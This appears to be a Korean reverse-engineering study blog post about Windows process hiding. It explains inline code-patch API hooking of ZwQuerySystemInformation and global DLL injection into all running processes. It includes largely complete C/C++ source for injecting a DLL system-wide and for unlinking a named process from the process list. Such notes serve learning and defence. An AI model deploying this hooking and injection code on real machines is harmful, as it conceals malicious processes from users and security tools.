'Stealth' Process (1)

컴컴한해커·2025년 1월 20일

리버스 엔지니어링

목록 보기
17/18

📌 API Code Patch 동작 원리

📢 IAT Hooking vs Code Patch

  • IAT Hookin : 프로세스의 특정 IAT 값을 조작하여 후킹하는 방식
  • Code Patch : 실제 API 코드 시작 5바이트 값을 'JMP XXXXXXXX' 명령어로 패치하는 방식

📢 API Hooking 후 코드 동작 과정

  1. 00422CF7에서 IAT의 주소인 48C69C에서 가리키는 값인 7C93D92E로 간다. 해당 주소는 ntdll.dll의 주소이다.
  2. 7C93D92E에 가면 'JMP 10001120' 명령어에 의해 stealth.dll 주소로 이동한다.
  3. 코드를 진행하다가 'CALL unhook()' 명령어가 나오는 데 그 이유는 원래 7C93D92E에 있던 'JMP 10001120'으로 덮어쓰기 이전 코드로 복원하여 프로그램에 이상이 생기지 않게 하기 위함이다.
  4. 'CALL EAX' 명령어를 통해 ntdll.dll의 7C93D92E 주소로 이동하여 코드를 수행한다.
  5. 7C93D93A의 'RETN 10'의 명령어를 만나면 자신을 호출한 위치로 리턴된다. 해당 위치는 'CALL EAX'에 의해 호출되었으므로 그 이후 코드인 'CALL hook()' 명령어로 리턴된다.
  6. 'CALL hook()' 명령어를 수행하는 데 그 이유는 다시 API 후킹된 상태로 유지시키기 위함이다.
  7. 1001233의 'RETN 10' 명령어에 의해 자신을 호출한 위치인 procexp.exe로 리턴된다
    • 주의해야 할 사항 : 처음에는 리턴해야 한다고 할 때 원래 ntdll에서 점프해서 온 것이니까 ntdll 쪽으로 가야 하는 것이 아닌가 생각했었지만, CALL이 아닌 JMP 명령어를 통해 온 것이므로 엄밀히 따지면 JMP는 호출이 아닌 직접 이동한 것이다. 따라서 호출된 곳은 procexp.exe이다.

📌 Stealth 기능

📢 관련 API

  1. ZwQuerySystemInformation
NTSTATUS WINAPI ZwQuerySystemInformation(
  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  _Inout_   PVOID                    SystemInformation,
  _In_      ULONG                    SystemInformationLength,
  _Out_opt_ PULONG                   ReturnLength
);

ZwQuerySystemInformation API를 사용하는 이유

  • 이 API를 이용하면 실행 중인 모든 프로세스의 정보(구조체)를 연결 리스트 형태로 얻을 수 있다.
  • 즉, 이 연결 리스트를 조작할 수 있다면, 원하는 프로세스를 은폐(Stealth)시킬 수 있다.
  1. CreateToolHelp32Snapshot & EnumProcesses
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
BOOL EnumProcesses(
  [out] DWORD   *lpidProcess,
  [in]  DWORD   cb,
  [out] LPDWORD lpcbNeeded
);

이 2가지 API는 모두 내부적으로 ntdll.ZwQuerySystemInformation() API를 사용한다. 즉 ZwQuerySystemInformation() API가 이 2가지 API보다 low-level-Hooking 방법이다. 따라서 두 API를 사용해도 되지만, ZwQuerySystemInformation을 직접 후킹하는 것이 더 성공 확률이 높아진다.


📌 Global Hooking (1)

📢 배경

  1. 모든 프로세스 검색 유틸리티에 대해서 Stealth 기능 API를 후킹하여야 한다.
  2. 후킹한 프로세스가 한 개 더 생성되면, 그 프로세스에는 Stealth가 되지 않을 것이다. --> 두 번째 실행된 프로세스에는 후킹이 되지 않았으므로

📢 정의

프로세스를 완전히 숨기기 위해 시스템에 실행 중인 모든 프로세스에 대해 ZwQuerySystemInformation() API를 후킹하고, 추가적으로 나중에 실행될 프로세스에 대해서도 후킹이 자동적으로 진행되게끔 하는 후킹 방법이다.

📢 소스코드 분석

  1. HookProc.cpp -> InjectAllProcess()
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
	DWORD                   dwPID = 0;
	HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32          pe;

	// 시스템의 snapshot 확보
	pe.dwSize = sizeof( PROCESSENTRY32 );
    // ZwQuerySystemInformation의 high-level hook process 사용
	hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

	// 프로세스 찾기 --> 프로세스의 PID를 찾는다.
	Process32First(hSnapShot, &pe);
	do
	{
		dwPID = pe.th32ProcessID;

        // 시스템의 안정성을 위해서
        // PID 가 100 보다 작은 시스템 프로세스에 대해서는
        // DLL Injection 을 수행하지 않는다.
		if( dwPID < 100 )
			continue;

        if( nMode == INJECTION_MODE )
		    InjectDll(dwPID, szDllPath);
        else
            EjectDll(dwPID, szDllPath);
	}
	while( Process32Next(hSnapShot, &pe) );

	CloseHandle(hSnapShot);

	return TRUE;
}

이 함수에서 사용된 Process32First, Process32Next 함수

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);
BOOL Process32Next(
  [in]  HANDLE           hSnapshot,
  [out] LPPROCESSENTRY32 lppe
);

두 함수를 이용하여 프로세스의 PID를 구한다.

  1. stealth.cpp -> SetProcName() --> 데이터 전처리를 이용하여 정의하였다.

#pragma comment(linker, "/SECTION:.SHARE,RWS")
// .SHARE 이름의 공유 메모리 섹션 생성하고 그 안에 g_szProcName 버퍼 생성
#pragma data_seg(".SHARE")
    TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()

#ifdef __cplusplus
extern "C" {
#endif
// 은폐하고자 하는 프로세스의 이름을 입력받아서 g_szProcName에 붙여넣기
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
    _tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif

stealth.cpp -> DllMain()

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char            szCurProc[MAX_PATH] = {0,};
    char            *p = NULL;

    // 예외처리
    // 현재 프로세스가 HookProc.exe 라면 후킹하지 않고 종료
    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
    p = strrchr(szCurProc, '\\');
    if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
        return TRUE;

    switch( fdwReason )
    {
        // API Hooking
        case DLL_PROCESS_ATTACH : 
        hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                     (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
        break;

        // API Unhooking 
        case DLL_PROCESS_DETACH :
        unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                       g_pOrgBytes);
        break;
    }

    return TRUE;
}

hook_by_code와 unhook_by_code는 훅과 언훅을 담당하는 코드이다. 가장 중요한 부분은 NewZwQuerySystemInformation이다.

NTSTATUS WINAPI NewZwQuerySystemInformation(
                SYSTEM_INFORMATION_CLASS SystemInformationClass, 
                PVOID SystemInformation, 
                ULONG SystemInformationLength, 
                PULONG ReturnLength)
{
    NTSTATUS status;
    FARPROC pFunc;
    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
    char szProcName[MAX_PATH] = {0,};
    
    // 작업 전에 언훅
    unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

    // original API 호출
    pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), 
                           DEF_ZWQUERYSYSTEMINFORMATION);
    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
              (SystemInformationClass, SystemInformation, 
              SystemInformationLength, ReturnLength);

    if( status != STATUS_SUCCESS )
        goto __NTQUERYSYSTEMINFORMATION_END;

    // SystemProcessInformation 인 경우만 작업함
    if( SystemInformationClass == SystemProcessInformation )
    {
        // SYSTEM_PROCESS_INFORMATION 타입 캐스팅
        // pCur 는 single linked list 의 head
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

        while(TRUE)
        {
            // 프로세스 이름 비교
            // g_szProcName = 은폐하려는 프로세스 이름
            // (=> SetProcName() 에서 세팅됨)
            if(pCur->Reserved2[1] != NULL)
            {
                if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
                {
                    // 연결 리스트에서 은폐 프로세스 제거
                    if(pCur->NextEntryOffset == 0)
                        pPrev->NextEntryOffset = 0;
                    else
                        pPrev->NextEntryOffset += pCur->NextEntryOffset;
                }
                else		
                    pPrev = pCur;
            }

            if(pCur->NextEntryOffset == 0)
                break;

            // 연결 리스트의 다음 항목
            pCur = (PSYSTEM_PROCESS_INFORMATION)
                    ((ULONG)pCur + pCur->NextEntryOffset);
        }
    }

__NTQUERYSYSTEMINFORMATION_END:

    // 함수 종료 전에 다시 API Hooking
    hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                 (PROC)NewZwQuerySystemInformation, g_pOrgBytes);

    return status;
}

아까 봤던 stealth.MyZQSI code의 과정 동작원리와 똑같이 흐른다. 중요한 부분은 SYSTEM_PROCESS_INFORMATION 구조체 연결 리스트를 검사하면서 프로세스 이름(pCur->Reserved2[1])을 비교하는 과정이다. 여기서 SYSTEM_PROCESS_INFORMATION 구조체는 아래와 같다.

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

이 구조체는 사용자 커스텀 함수가 아닌 Window Programming에서 사용되는 구조체 중 하나이다. ZwQuerySystemInformation API를 호출하면, SystemInformation 파라미터에 SYSTEM_PROCESS_INFORMATION 구조체 단방향 연결 리스트의 시작 주소가 저장된다. 이 구조체 연결 리스트에 모든 프로세스의 정보가 담겨있다. 따라서 이 연결리스트에서 은폐하고자 하는 프로세스를 찾아서 연결을 끊어버리면 된다.

0개의 댓글